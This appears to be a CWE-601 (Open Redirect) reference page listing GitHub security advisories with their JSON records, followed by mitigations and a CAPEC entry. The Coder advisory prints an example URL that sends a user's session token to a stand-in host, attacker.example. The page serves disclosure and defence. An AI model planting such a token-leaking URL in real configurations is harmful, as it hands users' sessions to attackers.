CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2591 vulnerabilities reference this CWE, most recent first.
GHSA-V2M7-9WV8-5473
Vulnerability from github – Published: 2026-09-14 21:31 – Updated: 2026-09-14 21:31IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim.
{
"affected": [],
"aliases": [
"CVE-2026-15412"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T20:16:38Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim.",
"id": "GHSA-v2m7-9wv8-5473",
"modified": "2026-09-14T21:31:43Z",
"published": "2026-09-14T21:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15412"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7286610"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V2VF-JV88-3FP5
Vulnerability from github – Published: 2024-06-26 17:42 – Updated: 2024-06-26 17:42Impact
This advisory affects authenticated administrators who may be redirected to an untrusted URL using the PageFinder schema. The resolver for the page finder link schema (october://) allowed external links, therefore allowing an open redirect outside the scope of the active host.
This vulnerability assumes a trusted user will attack another trusted user and cannot be actively exploited without access to the administration panel and interaction from the other user.
Patches
This issue has been patched in v3.5.15.
References
Credits to: - Benzetaa
For more information
If you have any questions or comments about this advisory: * Email us at hello@octobercms.com
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "october/system"
},
"ranges": [
{
"events": [
{
"introduced": "3.2"
},
{
"fixed": "3.5.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-24764"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-26T17:42:18Z",
"nvd_published_at": "2024-06-26T01:15:47Z",
"severity": "LOW"
},
"details": "### Impact\n\nThis advisory affects authenticated administrators who may be redirected to an untrusted URL using the PageFinder schema. The resolver for the page finder link schema (`october://`) allowed external links, therefore allowing an open redirect outside the scope of the active host.\n\nThis vulnerability assumes a trusted user will attack another trusted user and cannot be actively exploited without access to the administration panel and interaction from the other user.\n\n### Patches\n\nThis issue has been patched in v3.5.15.\n\n### References\n\nCredits to:\n- [Benzetaa](https://github.com/benzetaa/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)",
"id": "GHSA-v2vf-jv88-3fp5",
"modified": "2024-06-26T17:42:18Z",
"published": "2024-06-26T17:42:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/octobercms/october/security/advisories/GHSA-v2vf-jv88-3fp5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24764"
},
{
"type": "PACKAGE",
"url": "https://github.com/octobercms/october"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "October System module has an Open Redirect for Administrator Accounts"
}
GHSA-V38F-5HV3-PW6R
Vulnerability from github – Published: 2022-05-14 02:48 – Updated: 2022-05-14 02:48Open redirect vulnerability in Ellucian (formerly SunGard) Banner Student 8.5.1.2 through 8.7 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in an unspecified parameter.
{
"affected": [],
"aliases": [
"CVE-2015-5054"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-11T20:29:00Z",
"severity": "MODERATE"
},
"details": "Open redirect vulnerability in Ellucian (formerly SunGard) Banner Student 8.5.1.2 through 8.7 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in an unspecified parameter.",
"id": "GHSA-v38f-5hv3-pw6r",
"modified": "2022-05-14T02:48:27Z",
"published": "2022-05-14T02:48:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5054"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/134622/Banner-Student-XSS-Information-Disclosure-Open-Redirect.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/537029/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V3JW-X4G9-2MMM
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30A vulnerability in which an attacker can provide a crafted external URL that may redirect a user to an unintended website.
{
"affected": [],
"aliases": [
"CVE-2026-28301"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:03Z",
"severity": "MODERATE"
},
"details": "A vulnerability in which an attacker can provide a crafted external URL that may redirect a user to an unintended website.",
"id": "GHSA-v3jw-x4g9-2mmm",
"modified": "2026-06-09T18:30:41Z",
"published": "2026-06-09T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28301"
},
{
"type": "WEB",
"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/core-secure-configuration.htm"
},
{
"type": "WEB",
"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/hco_2026-2_release_notes.htm"
},
{
"type": "WEB",
"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28301"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V3P3-X59H-HH4X
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-01-20 15:32URL Redirection to Untrusted Site ('Open Redirect') vulnerability in flexmls Flexmls® IDX flexmls-idx allows Phishing.This issue affects Flexmls® IDX: from n/a through <= 3.15.7.
{
"affected": [],
"aliases": [
"CVE-2025-67585"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:18:36Z",
"severity": "MODERATE"
},
"details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in flexmls Flexmls\u00ae IDX flexmls-idx allows Phishing.This issue affects Flexmls\u00ae IDX: from n/a through \u003c= 3.15.7.",
"id": "GHSA-v3p3-x59h-hh4x",
"modified": "2026-01-20T15:32:12Z",
"published": "2025-12-09T18:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67585"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/flexmls-idx/vulnerability/wordpress-flexmls-idx-plugin-3-15-7-open-redirection-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/flexmls-idx/vulnerability/wordpress-flexmls-idx-plugin-3-15-7-open-redirection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V47J-RW9H-6M47
Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2024-04-24 20:18Pagekit before 1.0.14 has a /user/login?redirect= open redirect vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pagekit/pagekit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-14381"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T20:18:57Z",
"nvd_published_at": "2018-07-18T15:29:00Z",
"severity": "MODERATE"
},
"details": "Pagekit before 1.0.14 has a `/user/login?redirect=` open redirect vulnerability.",
"id": "GHSA-v47j-rw9h-6m47",
"modified": "2024-04-24T20:18:57Z",
"published": "2022-05-14T02:59:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14381"
},
{
"type": "WEB",
"url": "https://github.com/pagekit/pagekit/issues/905"
},
{
"type": "PACKAGE",
"url": "https://github.com/pagekit/pagekit"
},
{
"type": "WEB",
"url": "https://github.com/pagekit/pagekit/releases/tag/1.0.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pagekit open redirect vulnerability"
}
GHSA-V4CC-WWR9-44VW
Vulnerability from github – Published: 2024-08-20 15:32 – Updated: 2024-08-20 15:32An URL redirection to untrusted site (open redirect) vulnerability affecting 3DPassport in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an attacker to redirect users to an arbitrary website via a crafted URL.
{
"affected": [],
"aliases": [
"CVE-2024-6379"
],
"database_specific": {
"cwe_ids": [
"CWE-601",
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-20T14:15:10Z",
"severity": "HIGH"
},
"details": "An URL redirection to untrusted site (open redirect) vulnerability affecting 3DPassport in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an attacker to redirect users to an arbitrary website via a crafted URL.",
"id": "GHSA-v4cc-wwr9-44vw",
"modified": "2024-08-20T15:32:13Z",
"published": "2024-08-20T15:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6379"
},
{
"type": "WEB",
"url": "https://www.3ds.com/vulnerability/advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V4FR-CG8R-VWM7
Vulnerability from github – Published: 2022-05-17 04:51 – Updated: 2026-04-03 00:31Open redirect vulnerability in Spacewalk 1.6, as used in Red Hat Network (RHN) Satellite, allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url_bounce parameter.
{
"affected": [],
"aliases": [
"CVE-2011-1594"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-02-05T18:55:00Z",
"severity": "MODERATE"
},
"details": "Open redirect vulnerability in Spacewalk 1.6, as used in Red Hat Network (RHN) Satellite, allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url_bounce parameter.",
"id": "GHSA-v4fr-cg8r-vwm7",
"modified": "2026-04-03T00:31:08Z",
"published": "2022-05-17T04:51:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1594"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2011-1594"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=672167"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/spacewalk-announce-list/2011-December/msg00000.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2011-1299.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V4VC-G9WM-7CC9
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2025-04-20 03:35An issue was discovered in certain Apple products. iOS before 10.3 is affected. The issue involves the "Quick Look" component. It allows remote attackers to trigger telephone calls to arbitrary numbers via a tel: URL in a PDF document, as exploited in the wild in October 2016.
{
"affected": [],
"aliases": [
"CVE-2017-2404"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-02T01:59:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in certain Apple products. iOS before 10.3 is affected. The issue involves the \"Quick Look\" component. It allows remote attackers to trigger telephone calls to arbitrary numbers via a tel: URL in a PDF document, as exploited in the wild in October 2016.",
"id": "GHSA-v4vc-g9wm-7cc9",
"modified": "2025-04-20T03:35:08Z",
"published": "2022-05-13T01:44:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2404"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT207617"
},
{
"type": "WEB",
"url": "https://www.engadget.com/2017/03/31/apple-fixes-ios-loophole-911-overload"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97138"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038139"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V54H-CP2W-9X4G
Vulnerability from github – Published: 2026-07-06 21:07 – Updated: 2026-07-06 21:07Summary
coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.
Note: Practical exploitation requires the victim to run
coder open appagainst a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.
Impact
Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.
Patches
The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.
The fix was backported to all supported release lines:
| Release line | Patched version |
|---|---|
| 2.34 | v2.34.2 |
| 2.33 | v2.33.8 |
| 2.32 | v2.32.7 |
| 2.29 (ESR) | v2.29.17 |
Workarounds
Avoid running coder open app for untrusted workspaces.
Resources
- Fix: #26146
Credits
Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.34.0"
},
{
"fixed": "2.34.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.33.0"
},
{
"fixed": "2.33.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.30.0"
},
{
"fixed": "2.32.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.29.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55431"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T21:07:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user\u0027s real session token before handing the URL to the OS open handler.\n\n\u003e **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.\n\n### Impact\n\nWorkspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user\u0027s session token to the attacker and enables full account impersonation for the token\u0027s lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app.\n\n### Patches\n\nThe fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |\n| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |\n| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |\n| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |\n\n### Workarounds\n\nAvoid running `coder open app` for untrusted workspaces.\n\n### Resources\n\n- Fix: #26146\n\n### Credits\n\nCoder would like to thank Anthropic\u0027s Security Team (ANT-2026-22457) for independently disclosing this issue!",
"id": "GHSA-v54h-cp2w-9x4g",
"modified": "2026-07-06T21:07:40Z",
"published": "2026-07-06T21:07:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/pull/26146"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/coder"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Coder\u0027s session token leaked to arbitrary hosts via `coder open app` for external workspace apps"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.